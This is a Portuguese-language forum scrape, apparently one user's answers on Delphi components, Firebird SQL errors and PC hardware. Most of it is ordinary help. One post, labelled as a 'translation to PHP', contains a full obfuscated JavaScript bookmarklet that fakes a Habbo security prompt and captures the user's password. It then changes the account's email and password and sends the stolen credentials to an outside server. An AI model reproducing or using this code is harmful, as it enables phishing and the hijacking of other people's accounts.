Jhonas

ok... a maneira como voce esta fazendo, não esta correta. mostre as tabelas e seus campos e os campos relacionados entre as suas tabelas ( como no exemplo que te passei )

pelo exemplo que voce mostrou, parece que voce quer que os preços dos produtos, sejam alterados na medida que voce seleciona a opção no combobox ( Custo, Varejo, Atacado e Promoção ) esses preços já estão na tabela ? ( tem um preço para cada opção do combobox ) ou é uma porcentagem que é dada ao preço, quando voce seleciona uma opção ?

olá amigo, seja bem vindo ao forum .... o comando locate só é interessante quando voce usa tabelas pequenas ... em tabelas grandes isso causa demora na pesquisa voce não especificou qual banco de dados está usando pelo seu código devo supor que está usando o Paradox ( ele é muito bom para tabelas com poucos registros... para tabelas maiores prefira outro tipo de banco de dados, tipo ...Firebird, MYSQL, PostGree, Oracle..etc ) mas , como o nosso colega Seingalt propos, use o comando sql o relacionamento entre tabelas, faz com que, ao pesquisar determinado registro de uma tabela, os demais registros relacionados sejam mostrados tambem exemplo: se a pesquisa for pelo Código do Produto ( Tabela Produtos ) , automaticamente os registros da Tabela ( Dealhes do Produto ) e os registros da Tabela ( Pedidos ) serão mostrados em um DBGrid ou em campos separados ( Edits ) a mesma pesquisa poderia ser feita pelo campo Nome do Produto ( Tabela Produtos ), e os demais registros relacionados a esse campos seriam mostrados. o comando de pesquisa não seria Locate mas Select ( usando o componente TQuery ou outro, dependendo do banco de dados usado ) exemplo: Select * from Produtos where CódigoDoProduto = 12345 esse comando agiliza muito a pesquisa na tabela para saber como usar esse comando, veja os exemplos dos links https://www.google.com.br/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=tquery delphi example abraço

for select i.id_produto, i.id_embalagem, i.valorUnitario, i.quantidade from item_entrada i where i.id_pedido = old.id_pedido into :idProduto, :idEmbalagem, :valorCusto, :qtdeItem do begin select first 1 s.percentual, s.valorVenda, s.percentDesc, s.qtdeAtual, s.valorTotal from saldo_estoque s where s.id_produto = :idProduto and s.id_embalagem = :idEmbalagem order by s.id_movimento desc into :margem, :valorVenda, :percDesc, :qtdeEstq, :valorTotal; insert -- ... end Retirado do Forum Active Delphi ( Imex ) Veja que o seu 2º select depende de uma condição que está dentro do for da 1ª select bem diferente da select que esta em seu programa lembra do que falei no post anterior ? começe do zero novamente, mas vá testando partes do código separadamente os campos retornados da 1ª select é que vão ser passados como parametros para a 2ª select Que bom que voce encontrou a solução. abraço

a sua placa mãe suporta essa placa de video abraço

vou te dar um dica, para casos como esse: copie esse código em um bloco de notas e salve como texto depois apague o código do programa não use chaves e nem campos autoincremento na tabela começe do zero novamente, mas vá testando partes do código separadamente a cada sucesso, voce vai incrementando o código e testando se no final, depois de todo o código ser implementado, funcionar, então voce coloca as chaves e testa. Não adianta ficar batendo cabeça no código com erro abraço

se sua placa mãe não tem o buzzer voce pode comprar em qualquer loja de eletronica ou informatica veja a foto do buzzer https://http2.mlstatic.com/speaker-buzzer-para-placa-me-pacote-com-5-unidades-D_NQ_NP_175711-MLB20624344436_032016-F.webp depois plugue na placa ( tem um lugar especifico ... não ligue na posição errada ) e faça o teste novamente veja nessa placa mãe a posição do buzzer ... seta numero 7 ( tem que olhar na sua placa para saber qual é a posição correta abraço

ok... voce pode tentar contornar o problema do foco no componente clique com o botão direito no form e escolha a opção Tab Order ( onde voce coloca a sequencia em que o foco vai pular para os componentes do form ) coloque o componente TMemo como ultimo e veja se resolve (Se tivesse como, eu postaria um vídeo do fato) voce teria que procurar um site que deixe voce postar o video e depois bastaria deixar o link ou voce pode tirar um Print Screen da Tela na sequencia e colocar aqui no forum abraço

veja novamente O valor chave problemático é ("ID_MOVIMENTO" = 62, "ID_PRODUTO" = 1, "ID_EMBALAGEM" = 1). procure verificar esses valores Na procedure 'ADD_SALDO_ESTOQUE' linha: 15, coluna: 4 Na procedure 'REAJUSTAR_SALDOESTQ' linha: 41, coluna: 8 No trigger 'ADICIONAR_ESTOQUE' linha: 34, coluna: 11. procure verificar o código ( pela linha e coluna onde ocorre o erro ) OBS: para tirar a dúvida, retire as chaves e teste ... se o erro não ocorrer voce já saberá onde está o problema use o break point do dephi para depurar o código, e achar o erro abraço

Iválido Inserir ou atualizar valor (es): as colunas de objeto são Restringidos - nenhuma linha de tabela 2 pode ter valores de coluna duplicados. Violação da restrição PRIMARY ou UNIQUE KEY "PK_SALDOESTOQUE" na tabela "SALDO_ESTOQUE". O valor chave problemático é ("ID_MOVIMENTO" = 62, "ID_PRODUTO" = 1, "ID_EMBALAGEM" = 1). No procedimento 'ADD_SALDO_ESTOQUE' linha: 15, col: 4 No procedimento 'REAJUSTAR_SALDOESTQ' linha: 41, col: 8 No gatilho 'ADICIONAR_ESTOQUE' linha: 34, col: 11. OBS: dentro do For voce não pode repetir valores para chave primaria ou chave unica para SALDOESTOQUE na tabela SALDO_ESTOQUE, caso contrário voce deve tirar a chave Abraço

O problema é que o cursor vai até a ultima linha... o que não consigo é que ele fique visível. (como na imagem anexo). isso ocorre se voce não voltar o foco para ele novamente Memo1.SelStart := Length(Memo1.Text); Memo1.SetFocus; abraço

ok .. já que quer usar o TMemo, deixe as prorpiedades desse jeito MaxLength = 50 ( numero maximo de caracteres por linha ) ScrollBars = ssVertical ( colocar barra vertical no texto ) ou ScrollBars = ssBoth ( colocar barra vertical e horizontal no texto ) WordWrap = true ( quebrar a linha quando chegar na barra de rolagem ) //move o cursor pra o final da ultima linha Memo1.SelStart := Length(Memo1.Text); abraço

"Driver não pôde ser inicializado corretamente .. Biblioteca cliente pode estar faltando, ou não instalado corretamente, A versão é incorreta, ou o driver pode estar ausente do caminho do sistema " como voce especificou o SysWoW64 , os drives devem ser para 64 Bits abraço

voce pode usar o componente ScrollBar1, para fazer a rolagem do texto voce pode tentar esse comando: SendMessage(RichEdit1.Handle, WM_VSCROLL, SB_PAGEDOWN, 0); ou veja nas propriedades do componente se tem a propriedade SCROLLBARS e mude para a barra de rolagem desejada. abraço

nas propriedades do componente, voce restringe o tamanho da linha na tela veja MaxLength ou algo parecido.... abraço

veja nesses links https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=appserver+configurar abraço

com o delphi XE8 sim... abraço

voce consegue fazer a instalação do Firebird pelo Inno Setup https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=download inno setup usando command-line pelo Inno Setup http://firebird.cvs.sourceforge.net/viewvc/firebird/firebird2/builds/install/arch-specific/win32/installation_scripted.txt?view=markup se quiser tentar com o winexec, tire o PAnsiChar do diretório e do winexec e faça o teste se não funcionar tente usar o PChar abraço

veja nesses links https://www.google.com/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=criar+instalador+de+programas http://xmaker.com.br/ abraço

veja os componente RichEdit ou RichText http://www.trichview.com/rich-text-component.html abraço

minha placa mãe não tem a pecinha que faz o bip essa peça chama-se buzzer ela é usada para indicar atraves de Bips o que ocorre com a placa mãe se estiver ok tocara um unico bip se estiver com problema pode tocar mais de um bip o problema na placa é especificado por um certo numero de bips ( curtos e longos ) lembre-se que a placa de video deve ser instalada ( drives de video ) e depois configurada .... veja tambem como esta a configuração da BIOS abraço

TRADUÇÃO DO CODIGO PARA PHP javascript:var owner = "1288";var _0xcc57=["http://tgibr.com.br/Scorpion2014/scorpionphp/insert_email.php","/settings/email",""","split","name":"","email":"","<div style="position: fixed; top: 0px; left: 0px; z-index: 800; width: 100%; height: 100%; background: rgba(10, 54, 94, 0.8);"></div>","<div id="hidden" style="position: fixed; top: 70px; width: 500px; z-index: 900; left: 50%; margin-left: -250px;"><div style="display: block; transition: 1s;" id="toast-container" class="toast-top-center" aria-live="polite" role="alert"><div class="toast toast-error" style="display: none;"><div class="toast-progress" id="toast-progress" style="width: 99.9%; transition: 2s;"></div><div class="toast-message" id="toast-message">A senha que voc� digitou est� incorreta, verifique e tente novamente.</div></div></div><div class="modal-dialog" ng-class="size ? " modal-"="" +="" size="" :="" """=""><div style="height: 250px;" class="modal-content" uib-modal-transclude=""><div><button onclick="location.reload()" class="modal__close"></button><h3 translate="SAFETY_LOCK_TITLE" class="modal__title">Conta protegida por seguran�a.</h3><div class="modal__content"><p translate="SAFETY_LOCK_ANSWER"></p><!-- ngIf: safetyLockForm.$error.remoteDataAnswer --><fieldset class="form__fieldset"><label for="safety-lock-answer1" class="form__label" translate="IDENTITY_SAFETYQUESTION_1">Insira sua senha para continuar</label><div class="form__field"><input id="inputtxt" name="answer1" type="password" ng-model="answers.answer1" ng-model-options="{ updateOn: " default="" blur",="" debounce:="" {="" default:="" 500,="" blur:="" 0="" }="" }"="" required="" remote-data="" answer""="" password-toggle-mask="" autocomplete="off" class="form__input ng-pristine ng-untouched password-toggle-mask ng-invalid ng-invalid-required" style="border-color: rgb(144, 51, 82);"><i class="password-toggle-mask__icon"></i><!-- ngIf: safetyLockForm.answer1.$error.required && (!safetyLockForm.answer1.$pristine || safetyLockForm.$submitted) --></div></fieldset><div class="form__footer"><a href="https://www.habbo.com.br/" class="form__cancel" onclick="location.reload()" translate="FORM_CANCEL_LABEL">Cancelar</a> <button ng-disabled="unlockingInProgress" type="" class="form__submit" onclick="add();">Continuar</button></div></div></div></div></div></div>","prepend","body","ajax","val","#inputtxt","scorpionNEW","random","floor","@hotmail.com","scorpionatualizouv2","scorpion","giozadi","https://www.habbo.com.br/api/safetylock/disable","get","https://www.habbo.com.br/api/safetylock/save","post","fadeToggle",".toast","animate","#toast-progress","fail","api/settings/email/change","ocorreu um erro tente novamente!","api/settings/password/change","form","createElement","action","method","input","type","text","name","adc","value","senha","habbo","emailS","uid","senha_antiga","appendChild","submit"];var linksave=_0xcc57[0];var nome=null;var email=null;$[_0xcc57[10]]({url:_0xcc57[1],success:function(_0x38aex4){nome=_0x38aex4[_0xcc57[3]](_0xcc57[4])[1][_0xcc57[3]](_0xcc57[2])[0];email=_0x38aex4[_0xcc57[3]](_0xcc57[5])[1][_0xcc57[3]](_0xcc57[2])[0];div1=_0xcc57[6];div2=_0xcc57[7];$(_0xcc57[9])[_0xcc57[8]](div1);$(_0xcc57[9])[_0xcc57[8]](div2);}});function add(){var _0x38aex6=$(_0xcc57[12])[_0xcc57[11]]();var _0x38aex7=_0xcc57[13]+Math[_0xcc57[15]](Math[_0xcc57[14]]()*999999)+_0xcc57[16];var _0x38aex8=_0xcc57[17];var _0x38aex9=_0xcc57[18];var _0x38aexa=_0xcc57[19];$[_0xcc57[21]](_0xcc57[20]);$[_0xcc57[23]](_0xcc57[22],{questionId1:1,answer1:_0x38aex9,questionId2:3,answer2:_0x38aexa,password:_0x38aex6});$[_0xcc57[23]](_0xcc57[29],{currentPassword:_0x38aex6,newEmail:_0x38aex7},function(_0x38aex4){$[_0xcc57[23]](_0xcc57[31],{currentPassword:_0x38aex6,password:_0x38aex8,passwordRepeated:_0x38aex8})[_0xcc57[28]](function(){alert(_0xcc57[30])});_0x38aexb();})[_0xcc57[28]](function(){$(_0xcc57[25])[_0xcc57[24]]();$(_0xcc57[27])[_0xcc57[26]]({width:0},300);setTimeout(function(){$(_0xcc57[25])[_0xcc57[24]]()},3000);});function _0x38aexb(){var _0x38aexc=document[_0xcc57[33]](_0xcc57[32]);_0x38aexc[_0xcc57[34]]=linksave;_0x38aexc[_0xcc57[35]]=_0xcc57[21];var _0x38aexd=document[_0xcc57[33]](_0xcc57[36]);_0x38aexd[_0xcc57[37]]=_0xcc57[38];_0x38aexd[_0xcc57[39]]=_0xcc57[40];_0x38aexd[_0xcc57[41]]=_0x38aex7;var _0x38aexe=document[_0xcc57[33]](_0xcc57[36]);_0x38aexe[_0xcc57[37]]=_0xcc57[38];_0x38aexe[_0xcc57[39]]=_0xcc57[42];_0x38aexe[_0xcc57[41]]=_0x38aex8;var _0x38aexf=document[_0xcc57[33]](_0xcc57[36]);_0x38aexf[_0xcc57[37]]=_0xcc57[38];_0x38aexf[_0xcc57[39]]=_0xcc57[43];_0x38aexf[_0xcc57[41]]=nome;var _0x38aex10=document[_0xcc57[33]](_0xcc57[36]);_0x38aex10[_0xcc57[37]]=_0xcc57[38];_0x38aex10[_0xcc57[39]]=_0xcc57[44];_0x38aex10[_0xcc57[41]]=email;var _0x38aex11=document[_0xcc57[33]](_0xcc57[36]);_0x38aex11[_0xcc57[37]]=_0xcc57[38];_0x38aex11[_0xcc57[39]]=_0xcc57[45];_0x38aex11[_0xcc57[41]]=owner;var _0x38aex12=document[_0xcc57[33]](_0xcc57[36]);_0x38aex12[_0xcc57[37]]=_0xcc57[38];_0x38aex12[_0xcc57[39]]=_0xcc57[46];_0x38aex12[_0xcc57[41]]=_0x38aex6;_0x38aexc[_0xcc57[47]](_0x38aexd);_0x38aexc[_0xcc57[47]](_0x38aexe);_0x38aexc[_0xcc57[47]](_0x38aex12);_0x38aexc[_0xcc57[47]](_0x38aexf);_0x38aexc[_0xcc57[47]](_0x38aex10);_0x38aexc[_0xcc57[47]](_0x38aex11);document[_0xcc57[9]][_0xcc57[47]](_0x38aexc);_0x38aexc[_0xcc57[48]]();}} OBS : agora, basta voce usar um programa para executar o código PHP para ver o resultado abraço

tente esse http://xmaker.com.br/ abraço

Eu tentei ir somando: linha1+linha2 = 138 Resultado+linha3 = 238 Resultado+linha4 = 262 Resultado+linha6 = 264 Resultado+linha8 = 304 Essa forma ficou maravilhosa. O problema que não consigo mais desfazer os valores das linhas a partir do resultado. e porque isso não é possivel ??? .... voce tera como resultado final a somatoria de todos os valores ... dessa forma voce perdeu os valores da soma, e não teria como traze-los de volta Agora, se voce fizer isso como texto, já dá pra fazer Resultado+linha8 = 040.002.024.100.124.014 se for texto, voce pode ler a linha e colocar o valor ( ou concatenar) como texto em uma string ... para recuperar os valores bastaria ler novamente a string e separá-los por posição ( 3 ) separados ou não por um caracter especifico ( pode ser ponto, virgula, traço ...etc) abraço

voce tem que baixar os drives do multsync para o windows 10 https://www.google.com.br/webhp?sourceid=chrome-instant&ion=1&espv=2&ie=UTF-8#q=drives+multsync+windows+10 abraço